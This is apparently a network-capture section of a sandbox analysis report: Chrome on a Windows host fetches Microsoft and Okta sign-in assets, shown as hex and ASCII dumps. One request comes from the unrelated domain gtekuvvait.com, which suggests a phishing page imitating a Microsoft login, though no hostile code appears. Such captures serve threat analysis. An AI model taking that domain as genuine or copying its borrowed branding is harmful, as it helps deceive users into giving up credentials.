2024-10-01 13:08:27 UTC	1378	IN	Data Raw: 69 73 20 6e 6f 74 20 61 6e 20 6f 62 6a 65 63 74 22 29 2c 72 2e 64 65 6c 65 67 61 74 65 3d 6e 75 6c 6c 2c 79 29 7d 66 75 6e 63 74 69 6f 6e 20 41 28 65 29 7b 76 61 72 20 74 3d 7b 74 72 79 4c 6f 63 3a 65 5b 30 5d 7d 3b 31 20 69 6e 20 65 26 26 28 74 2e 63 61 74 63 68 4c 6f 63 3d 65 5b 31 5d 29 2c 32 20 69 6e 20 65 26 26 28 74 2e 66 69 6e 61 6c 6c 79 4c 6f 63 3d 65 5b 32 5d 2c 74 2e 61 66 74 65 72 4c 6f 63 3d 65 5b 33 5d 29 2c 74 68 69 73 2e 74 72 79 45 6e 74 72 69 65 73 2e 70 75 73 68 28 74 29 7d 66 75 6e 63 74 69 6f 6e 20 6a 28 65 29 7b 76 61 72 20 74 3d 65 2e 63 6f 6d 70 6c 65 74 69 6f 6e 7c 7c 7b 7d 3b 74 2e 74 79 70 65 3d 22 6e 6f 72 6d 61 6c 22 2c 64 65 6c 65 74 65 20 74 2e 61 72 67 2c 65 2e 63 6f 6d 70 6c 65 74 69 6f 6e 3d 74 7d 66 75 6e 63 74 69 6f 6e Data Ascii: is not an object"),r.delegate=null,y)}function A(e){var t={tryLoc:e[0]};1 in e&&(t.catchLoc=e[1]),2 in e&&(t.finallyLoc=e[2],t.afterLoc=e[3]),this.tryEntries.push(t)}function j(e){var t=e.completion\|\|{};t.type="normal",delete t.arg,e.completion=t}function
2024-10-01 13:08:27 UTC	1378	IN	Data Raw: 2c 22 47 65 6e 65 72 61 74 6f 72 22 29 2c 66 28 53 2c 61 2c 28 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 74 68 69 73 7d 29 29 2c 66 28 53 2c 22 74 6f 53 74 72 69 6e 67 22 2c 28 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 22 5b 6f 62 6a 65 63 74 20 47 65 6e 65 72 61 74 6f 72 5d 22 7d 29 29 2c 74 2e 6b 65 79 73 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3d 4f 62 6a 65 63 74 28 65 29 2c 72 3d 5b 5d 3b 66 6f 72 28 76 61 72 20 6e 20 69 6e 20 74 29 72 2e 70 75 73 68 28 6e 29 3b 72 65 74 75 72 6e 20 72 2e 72 65 76 65 72 73 65 28 29 2c 66 75 6e 63 74 69 6f 6e 20 65 28 29 7b 66 6f 72 28 3b 72 2e 6c 65 6e 67 74 68 3b 29 7b 76 61 72 20 6e 3d 72 2e 70 6f 70 28 29 3b 69 66 28 6e 20 69 6e 20 74 29 72 65 74 75 72 6e 20 65 2e 76 61 6c 75 65 Data Ascii: ,"Generator"),f(S,a,(function(){return this})),f(S,"toString",(function(){return"[object Generator]"})),t.keys=function(e){var t=Object(e),r=[];for(var n in t)r.push(n);return r.reverse(),function e(){for(;r.length;){var n=r.pop();if(n in t)return e.value
2024-10-01 13:08:27 UTC	1378	IN	Data Raw: 68 2d 31 3b 72 3e 3d 30 3b 2d 2d 72 29 7b 76 61 72 20 6f 3d 74 68 69 73 2e 74 72 79 45 6e 74 72 69 65 73 5b 72 5d 3b 69 66 28 6f 2e 74 72 79 4c 6f 63 3c 3d 74 68 69 73 2e 70 72 65 76 26 26 6e 2e 63 61 6c 6c 28 6f 2c 22 66 69 6e 61 6c 6c 79 4c 6f 63 22 29 26 26 74 68 69 73 2e 70 72 65 76 3c 6f 2e 66 69 6e 61 6c 6c 79 4c 6f 63 29 7b 76 61 72 20 69 3d 6f 3b 62 72 65 61 6b 7d 7d 69 26 26 28 22 62 72 65 61 6b 22 3d 3d 3d 65 7c 7c 22 63 6f 6e 74 69 6e 75 65 22 3d 3d 3d 65 29 26 26 69 2e 74 72 79 4c 6f 63 3c 3d 74 26 26 74 3c 3d 69 2e 66 69 6e 61 6c 6c 79 4c 6f 63 26 26 28 69 3d 6e 75 6c 6c 29 3b 76 61 72 20 61 3d 69 3f 69 2e 63 6f 6d 70 6c 65 74 69 6f 6e 3a 7b 7d 3b 72 65 74 75 72 6e 20 61 2e 74 79 70 65 3d 65 2c 61 2e 61 72 67 3d 74 2c 69 3f 28 74 68 69 73 2e Data Ascii: h-1;r>=0;--r){var o=this.tryEntries[r];if(o.tryLoc<=this.prev&&n.call(o,"finallyLoc")&&this.prev<o.finallyLoc){var i=o;break}}i&&("break"===e\|\|"continue"===e)&&i.tryLoc<=t&&t<=i.finallyLoc&&(i=null);var a=i?i.completion:{};return a.type=e,a.arg=t,i?(this.
2024-10-01 13:08:27 UTC	1378	IN	Data Raw: 72 69 6e 67 28 74 29 7d 66 75 6e 63 74 69 6f 6e 20 66 28 65 29 7b 72 65 74 75 72 6e 20 66 3d 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 53 79 6d 62 6f 6c 26 26 22 73 79 6d 62 6f 6c 22 3d 3d 74 79 70 65 6f 66 20 53 79 6d 62 6f 6c 2e 69 74 65 72 61 74 6f 72 3f 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 74 79 70 65 6f 66 20 65 7d 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 65 26 26 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 53 79 6d 62 6f 6c 26 26 65 2e 63 6f 6e 73 74 72 75 63 74 6f 72 3d 3d 3d 53 79 6d 62 6f 6c 26 26 65 21 3d 3d 53 79 6d 62 6f 6c 2e 70 72 6f 74 6f 74 79 70 65 3f 22 73 79 6d 62 6f 6c 22 3a 74 79 70 65 6f 66 20 65 7d 2c 66 28 65 29 7d 66 75 6e 63 74 69 6f 6e 20 6c 28 74 29 7b 72 65 74 Data Ascii: ring(t)}function f(e){return f="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(e){return typeof e}:function(e){return e&&"function"==typeof Symbol&&e.constructor===Symbol&&e!==Symbol.prototype?"symbol":typeof e},f(e)}function l(t){ret
2024-10-01 13:08:27 UTC	1378	IN	Data Raw: 64 6f 6e 65 29 26 26 28 75 2e 70 75 73 68 28 6e 2e 76 61 6c 75 65 29 2c 75 2e 6c 65 6e 67 74 68 21 3d 3d 74 29 3b 73 3d 21 30 29 3b 7d 63 61 74 63 68 28 65 29 7b 63 3d 21 30 2c 6f 3d 65 7d 66 69 6e 61 6c 6c 79 7b 74 72 79 7b 69 66 28 21 73 26 26 6e 75 6c 6c 21 3d 72 2e 72 65 74 75 72 6e 26 26 28 61 3d 72 2e 72 65 74 75 72 6e 28 29 2c 4f 62 6a 65 63 74 28 61 29 21 3d 3d 61 29 29 72 65 74 75 72 6e 7d 66 69 6e 61 6c 6c 79 7b 69 66 28 63 29 74 68 72 6f 77 20 6f 7d 7d 72 65 74 75 72 6e 20 75 7d 7d 28 65 2c 74 29 7c 7c 4f 28 65 2c 74 29 7c 7c 78 28 29 7d 66 75 6e 63 74 69 6f 6e 20 67 28 65 29 7b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 65 29 7b 69 66 28 41 72 72 61 79 2e 69 73 41 72 72 61 79 28 65 29 29 72 65 74 75 72 6e 20 53 28 65 29 7d 28 65 29 7c 7c Data Ascii: done)&&(u.push(n.value),u.length!==t);s=!0);}catch(e){c=!0,o=e}finally{try{if(!s&&null!=r.return&&(a=r.return(),Object(a)!==a))return}finally{if(c)throw o}}return u}}(e,t)\|\|O(e,t)\|\|x()}function g(e){return function(e){if(Array.isArray(e))return S(e)}(e)\|\|
2024-10-01 13:08:27 UTC	1378	IN	Data Raw: 65 78 74 22 2c 65 29 7d 2c 65 2e 70 72 6f 74 6f 74 79 70 65 2e 74 68 72 6f 77 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 5f 69 6e 76 6f 6b 65 28 22 74 68 72 6f 77 22 2c 65 29 7d 2c 65 2e 70 72 6f 74 6f 74 79 70 65 2e 72 65 74 75 72 6e 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 5f 69 6e 76 6f 6b 65 28 22 72 65 74 75 72 6e 22 2c 65 29 7d 3b 76 61 72 20 54 2c 6b 3d 4f 62 6a 65 63 74 2e 70 72 6f 74 6f 74 79 70 65 2e 74 6f 53 74 72 69 6e 67 2c 41 3d 4f 62 6a 65 63 74 2e 67 65 74 50 72 6f 74 6f 74 79 70 65 4f 66 2c 6a 3d 28 54 3d 4f 62 6a 65 63 74 2e 63 72 65 61 74 65 28 6e 75 6c 6c 29 2c 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3d 6b 2e 63 61 6c 6c 28 65 29 3b 72 65 74 75 72 6e 20 54 5b Data Ascii: ext",e)},e.prototype.throw=function(e){return this._invoke("throw",e)},e.prototype.return=function(e){return this._invoke("return",e)};var T,k=Object.prototype.toString,A=Object.getPrototypeOf,j=(T=Object.create(null),function(e){var t=k.call(e);return T[

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
50	192.168.2.16	49779	13.107.246.45	443	7100	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-01 13:08:28 UTC	418	OUT	GET /shared/1.0/content/images/signin-options_4e48046ce74f4b89d45037c90576bfac.svg HTTP/1.1 Host: aadcdn.msauth.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-01 13:08:28 UTC	805	IN	HTTP/1.1 200 OK Date: Tue, 01 Oct 2024 13:08:28 GMT Content-Type: image/svg+xml Content-Length: 621 Connection: close Cache-Control: public, max-age=31536000 Content-Encoding: gzip Last-Modified: Tue, 10 Nov 2020 03:41:24 GMT ETag: 0x8D8852A7FA6B761 x-ms-request-id: 34b277ac-c01e-0021-01a4-139092000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Access-Control-Allow-Origin: * x-azure-ref: 20241001T130828Z-15767c5fc55gq5fmm10nm5qqr8000000085g00000000csrv x-fd-int-roxy-purgeid: 4554691 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-01 13:08:28 UTC	621	IN	Data Raw: 1f 8b 08 00 00 00 00 00 04 00 7d 55 4d 6f 22 31 0c fd 2b a3 d9 ab 93 c9 f7 47 3b 20 cd 9e 38 6c af 1c b8 4d 0b 05 24 0a 55 19 41 57 ab fe f7 b5 93 a0 55 61 58 0d d8 60 27 ef 3d db 09 b4 c7 d3 ba fa 7c db ed 8f 93 7a 33 0c ef 0f 4d 73 3e 9f f9 59 f3 c3 c7 ba 51 42 88 06 57 d4 d5 79 bb 1c 36 93 da 84 ba da ac b6 eb cd 90 3f 9f b6 ab f3 cf c3 e7 a4 16 95 a8 4c c0 57 3d 6d 97 ab d7 e3 b4 3d 0e bf 77 ab 29 ef ff bc 6e 77 bb 87 fd 61 bf 7a fc e2 cf f9 db 0f 23 e8 79 fc 6a 9b bc ac 6d f2 a6 8f d5 cb 50 bd ec fa 23 ca e9 ef b1 36 d3 f6 bd 1f 36 97 75 cf 75 b5 9c d4 4f 46 80 56 dc fa 30 37 62 a6 d5 5c bb 99 0a 73 ad 66 ca cc 55 e0 de b9 4e 0a ee 42 84 e2 04 3e 12 64 04 2d 7a 0c a5 78 89 32 cb ad f1 4c 72 0b 52 72 29 dc c5 e5 ac e2 4a 46 cc 7a 19 3b 4c 68 af a1 b8 Data Ascii: }UMo"1+G; 8lM$UAWUaX`'=\|z3Ms>YQBWy6?LW=m=w)nwaz#yjmP#66uuOFV07b\sfUNB>d-zx2LrRr)JFz;Lh

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
51	192.168.2.16	49780	13.107.246.45	443	7100	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-01 13:08:28 UTC	414	OUT	GET /shared/1.0/content/images/arrow_left_a9cc2824ef3517b6c4160dcf8ff7d410.svg HTTP/1.1 Host: aadcdn.msauth.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-01 13:08:28 UTC	799	IN	HTTP/1.1 200 OK Date: Tue, 01 Oct 2024 13:08:28 GMT Content-Type: image/svg+xml Content-Length: 276 Connection: close Cache-Control: public, max-age=31536000 Content-Encoding: gzip Last-Modified: Fri, 17 Jan 2020 19:28:34 GMT ETag: 0x8D79B8371B97A82 x-ms-request-id: 59ccf5e6-501e-0076-6aec-13491e000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Access-Control-Allow-Origin: * x-azure-ref: 20241001T130828Z-15767c5fc55fdfx81a30vtr1fw000000088g00000000qy8h x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-01 13:08:28 UTC	276	IN	Data Raw: 1f 8b 08 00 00 00 00 00 04 00 95 51 3d 6f c3 20 10 fd 2b 88 ae e6 e0 08 d8 b8 b2 3d 74 ca 90 ae 1d ba 45 8a 6b 5b 22 1f aa 91 c9 cf 2f 67 3b 6e 87 2c 15 f0 80 bb 7b ef 9e a0 1a a7 8e dd cf fe 32 d6 bc 0f e1 f6 2a 65 8c 11 e2 0e ae df 9d d4 4a 29 99 2a 38 8b c3 29 f4 35 d7 86 b3 be 1d ba 3e 2c e7 69 68 e3 db f5 5e 73 c5 14 d3 26 4d de 54 61 08 be 6d 8e e3 d8 86 b1 92 cb ad ba 1d 43 cf 4e 35 7f 47 97 21 82 2d dc 04 ce 98 7d 01 39 16 7e 07 a5 c6 8c d0 09 b0 a5 a1 75 c8 33 d4 de 40 69 8c 98 71 4b cc 9c 55 e5 93 b3 af c1 fb 9a bf 18 45 83 cb bf bd 14 f1 b2 02 94 cd fd 53 fa 1e ff ef e3 ac 04 a0 41 01 aa c0 b4 0e 36 95 97 a4 47 9b 05 67 1d 11 d6 2c 66 33 67 c1 35 46 1b b1 49 9d da d8 47 40 3c 0e 98 4c 2e 3a 60 b5 4e 26 01 3f 52 03 93 0c cf 89 64 b4 b0 28 08 37 Data Ascii: Q=o +=tEk["/g;n,{2eJ)8)5>,ih^s&MTamCN5G!-}9~u3@iqKUESA6Gg,f3g5FIG@<L.:`N&?Rd(7

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
52	192.168.2.16	49781	13.107.246.45	443	7100	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-01 13:08:28 UTC	417	OUT	GET /shared/1.0/content/images/backgrounds/2_bc3d32a696895f78c19df6c717586a5d.svg HTTP/1.1 Host: aadcdn.msauth.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-01 13:08:28 UTC	799	IN	HTTP/1.1 200 OK Date: Tue, 01 Oct 2024 13:08:28 GMT Content-Type: image/svg+xml Content-Length: 673 Connection: close Cache-Control: public, max-age=31536000 Content-Encoding: gzip Last-Modified: Wed, 12 Feb 2020 22:01:30 GMT ETag: 0x8D7B0071D86E386 x-ms-request-id: f7b54fa2-e01e-0019-3603-143452000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Access-Control-Allow-Origin: * x-azure-ref: 20241001T130828Z-15767c5fc55qdcd62bsn50hd6s00000007s000000000mx4y x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-01 13:08:28 UTC	673	IN	Data Raw: 1f 8b 08 00 00 00 00 00 04 00 b5 55 db 6e db 30 0c fd 15 c1 7d 69 1e ac 50 b2 ae 43 1c a0 37 6c 2f c3 0a 64 fd 80 d4 b1 13 03 ae 1d d8 6e d3 f6 eb 47 ca f6 96 0c 79 6c 10 20 e6 91 45 f2 f0 98 94 16 dd db 96 bd bf 54 75 97 46 bb be df 7f 9b cf 0f 87 03 3f 24 bc 69 b7 73 09 00 73 dc 11 b1 43 b9 e9 77 69 24 bc 84 88 ed f2 72 bb eb 11 81 43 54 94 55 95 46 75 53 e7 d1 72 b1 65 cd 7e 9d 95 fd 47 1a 71 19 b1 ac 2a f7 f1 7e 4d ae af 6d 75 7d f5 30 c3 3d 84 d9 26 8d 7e 0a 65 0c 57 4c 58 af b9 cc bc 06 9e 58 06 88 25 70 17 1b 69 b9 96 13 12 0a 04 37 2b a9 84 e1 d6 c6 02 c0 b1 c1 3f d8 b1 d4 0a cd c4 01 57 4e 0e 88 25 3e e1 a6 b3 16 d7 24 ed a6 08 63 bc 11 7d 4e f4 03 bb 9b 59 34 3f a2 97 78 c5 31 bf 13 9a 9b cc 2a c3 b5 23 76 89 16 c8 47 61 6c 39 01 21 02 39 81 41 Data Ascii: Un0}iPC7l/dnGyl ETuF?$issCwi$rCTUFuSre~Gq~Mmu}0=&~eWLXX%pi7+?WN%>$c}NY4?x1#vGal9!9A

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
53	192.168.2.16	49783	13.33.187.14	443	7100	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-01 13:08:28 UTC	374	OUT	GET /fs/bcg/4/gfsh9pi7jcWKJKMAs1t7 HTTP/1.1 Host: ok4static.oktacdn.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-01 13:08:28 UTC	684	IN	HTTP/1.1 200 OK Content-Type: image/png Content-Length: 10796 Connection: close Date: Mon, 23 Sep 2024 08:39:47 GMT Server: nginx Last-Modified: Tue, 23 Feb 2021 04:20:08 GMT ETag: "12bdacc832185d0367ecc23fd24c86ce" Expires: Tue, 23 Sep 2025 08:39:47 GMT Cache-Control: max-age=31536000 Cache-Control: public,max-age=31536000,s-maxage=1814400 Strict-Transport-Security: max-age=315360000; includeSubDomains Access-Control-Allow-Origin: * Accept-Ranges: bytes X-Cache: Hit from cloudfront Via: 1.1 27cdec4bbea3c020f504b2062d4e122c.cloudfront.net (CloudFront) X-Amz-Cf-Pop: FRA60-P9 X-Amz-Cf-Id: tFk2VK5zghnStjTagzZs7RKTcENmA8GwBAlXyv4UmgXg6m-QRuStbQ== Age: 707321
2024-10-01 13:08:28 UTC	10796	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 01 a4 00 00 00 5e 08 06 00 00 00 6c 32 60 fe 00 00 29 f3 49 44 41 54 78 da ed 7d 09 9c 1c 55 9d ff a0 8b 20 77 a6 eb bd 1a 42 10 10 50 24 8a 48 76 09 c9 74 d5 ab ea 09 91 b8 a0 78 84 45 41 40 04 51 60 81 45 14 d0 15 02 88 c8 2d ec 8a 9c 22 97 28 e7 9f e5 58 60 89 11 44 2e c3 11 c8 35 5d 5d 55 7d cd 95 c9 9d 90 83 24 33 ff df af aa 26 e9 cc bc d7 67 75 4f 77 cf fb 7d 3e ef 13 98 99 ae 7e f5 8e df f7 77 ff 5a 5a 9a 84 12 7a eb be 96 d6 46 5a 24 49 92 24 49 92 a4 d1 a0 b8 4e fe b3 c7 a4 9d 09 9d ac 74 74 b2 24 65 90 c5 09 4d f9 c5 bc e9 ea ae 72 75 24 49 92 24 49 52 d5 68 81 41 76 4b 30 c5 74 19 b9 77 79 87 3a 98 31 e8 a0 a5 93 c1 44 ce 48 c3 cf d6 4c 53 07 01 98 92 69 46 7e b6 58 8f c4 e0 73 6d 72 f5 24 Data Ascii: PNGIHDR^l2`)IDATx}U wBP$HvtxEA@Q`E-"(X`D.5]]U}$3&guOw}>~wZZzFZ$I$INtt$eMru$I$IRhAvK0twy:1DHLSiF~Xsmr$

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
54	192.168.2.16	49782	152.199.21.175	443	7100	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-01 13:08:28 UTC	420	OUT	GET /shared/1.0/content/images/microsoft_logo_ee5c8d9fb6248c938fd0dc19370e90bd.svg HTTP/1.1 Host: aadcdn.msftauth.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-01 13:08:28 UTC	738	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: * Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,Content-MD5,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Age: 16438332 Cache-Control: public, max-age=31536000 Content-MD5: nzaLxFgP7ZB3dfMcaybWzw== Content-Type: image/svg+xml Date: Tue, 01 Oct 2024 13:08:28 GMT Etag: 0x8D79A1B9F5E121A Last-Modified: Thu, 16 Jan 2020 00:32:52 GMT Server: ECAcc (lhc/7936) Vary: Accept-Encoding X-Cache: HIT x-ms-blob-type: BlockBlob x-ms-lease-status: unlocked x-ms-request-id: 91dbb46b-a01e-00e9-0b81-7e3c42000000 x-ms-version: 2009-09-19 Content-Length: 3651 Connection: close
2024-10-01 13:08:28 UTC	3651	IN	Data Raw: 3c 73 76 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 20 77 69 64 74 68 3d 22 31 30 38 22 20 68 65 69 67 68 74 3d 22 32 34 22 20 76 69 65 77 42 6f 78 3d 22 30 20 30 20 31 30 38 20 32 34 22 3e 3c 74 69 74 6c 65 3e 61 73 73 65 74 73 3c 2f 74 69 74 6c 65 3e 3c 70 61 74 68 20 64 3d 22 4d 34 34 2e 38 33 36 2c 34 2e 36 56 31 38 2e 34 68 2d 32 2e 34 56 37 2e 35 38 33 48 34 32 2e 34 4c 33 38 2e 31 31 39 2c 31 38 2e 34 48 33 36 2e 35 33 31 4c 33 32 2e 31 34 32 2c 37 2e 35 38 33 68 2d 2e 30 32 39 56 31 38 2e 34 48 32 39 2e 39 56 34 2e 36 68 33 2e 34 33 36 4c 33 37 2e 33 2c 31 34 2e 38 33 68 2e 30 35 38 4c 34 31 2e 35 34 35 2c 34 2e 36 5a 6d 32 2c 31 2e 30 34 39 61 31 2e 32 36 38 2c 31 2e 32 36 38 2c 30 Data Ascii: <svg xmlns="http://www.w3.org/2000/svg" width="108" height="24" viewBox="0 0 108 24"><title>assets</title><path d="M44.836,4.6V18.4h-2.4V7.583H42.4L38.119,18.4H36.531L32.142,7.583h-.029V18.4H29.9V4.6h3.436L37.3,14.83h.058L41.545,4.6Zm2,1.049a1.268,1.268,0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
55	192.168.2.16	49785	152.199.21.175	443	7100	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-01 13:08:31 UTC	690	OUT	GET /dbd5a2dd-8neir5ghbsfq39u-lacqx0kqpjc6vi3d3ru3cybydra/logintenantbranding/0/illustration?ts=636148307647586819 HTTP/1.1 Host: aadcdn.msauthimages.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://gtekuvvait.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-01 13:08:32 UTC	725	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: * Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Cache-Control,Last-Modified,ETag,Content-MD5,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Cache-Control: public, max-age=86400 Content-MD5: hMQlwIr5SpVS37XPsImOyA== Content-Type: image/jpeg Date: Tue, 01 Oct 2024 13:08:31 GMT Etag: 0x8D40D83EE06BF8A Last-Modified: Tue, 15 Nov 2016 18:19:25 GMT Server: Windows-Azure-Blob/1.0 Microsoft-HTTPAPI/2.0 X-Content-Type-Options: nosniff x-ms-blob-type: BlockBlob x-ms-lease-status: unlocked x-ms-request-id: 519ffa23-001e-0051-6c03-14de6e000000 x-ms-version: 2009-09-19 Content-Length: 88082 Connection: close
2024-10-01 13:08:32 UTC	15660	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 00 00 01 00 01 00 00 ff e2 02 44 49 43 43 5f 50 52 4f 46 49 4c 45 00 01 01 00 00 02 34 00 00 00 00 00 00 00 00 6d 6e 74 72 52 47 42 20 58 59 5a 20 07 de 00 06 00 04 00 11 00 2b 00 38 61 63 73 70 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 00 00 00 00 00 00 00 00 f6 d6 00 01 00 00 00 00 d3 2d 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0a 64 65 73 63 00 00 00 fc 00 00 00 79 62 6b 70 74 00 00 01 78 00 00 00 14 77 74 70 74 00 00 01 8c 00 00 00 14 63 70 72 74 00 00 01 a0 00 00 00 15 72 58 59 5a 00 00 01 b8 00 00 00 14 67 58 59 5a 00 00 01 cc 00 00 00 14 62 58 59 5a 00 00 01 e0 00 00 00 14 72 Data Ascii: JFIFDICC_PROFILE4mntrRGB XYZ +8acsp-descybkptxwtptcprtrXYZgXYZbXYZr
2024-10-01 13:08:32 UTC	51	IN	Data Raw: 51 c1 e9 8c 1a b1 75 1d b6 9b a9 db 5c e9 32 5a ea 76 53 2c 83 cb 10 ed 50 e0 6d 04 82 3e 5f 7c 67 f1 af 7e 83 e1 3e 9d 7b e1 7b 5b 1d 66 79 5a fe 26 72 Data Ascii: Qu\2ZvS,Pm>_\|g~>{{[fyZ&r
2024-10-01 13:08:32 UTC	16383	IN	Data Raw: 6e 61 c1 ca b3 67 61 07 ef 00 79 c9 ef 9c 1a e9 fc 19 e0 dd 23 c2 b6 0d 6b 61 17 9c 5d 83 c9 34 ea ac ce 47 4e 31 80 07 b5 38 d3 9b 69 c8 d1 d7 a3 08 b8 c3 52 97 c1 98 35 0b 6f 00 d8 c7 a9 87 56 dc e6 05 93 3b 84 24 fc b9 cf 23 be 33 db 15 dc 75 a8 f7 67 af 26 90 be 2b aa 2a ca c7 9f 39 73 36 c3 cc 2a c7 04 8f 5c 1c 66 bc f6 db 4f d5 ec 75 cd 66 5d 66 fa 0b d9 2f 27 12 5b 34 51 94 f2 e0 00 84 46 cf 71 cd 77 8e c3 9f ce b8 1d 0e eb cf f1 8f 8d 04 84 94 8e f2 de 15 dd db 6d ba e4 0f c4 d6 f4 1d a6 65 51 5e 25 b4 b2 96 39 da 66 f9 94 f6 a4 93 ca 96 e0 2b 80 24 03 80 6b 4e 62 c1 09 4d c7 1d eb 3e 4b 44 79 84 f2 ca 43 af 45 1d 2b d0 4c e6 71 27 8e d3 cb 42 eb 8f ea 6a 8d cb bc d3 79 48 c4 7a b7 4c 54 86 f9 cc cf 1a a6 55 7b fa d5 29 24 33 5e 29 40 40 e8 45 52 Data Ascii: nagay#ka]4GN18iR5oV;$#3ug&+9s6\fOuf]f/'[4QFqwmeQ^%9f+$kNbM>KDyCE+Lq'BjyHzLTU{)$3^)@@ER
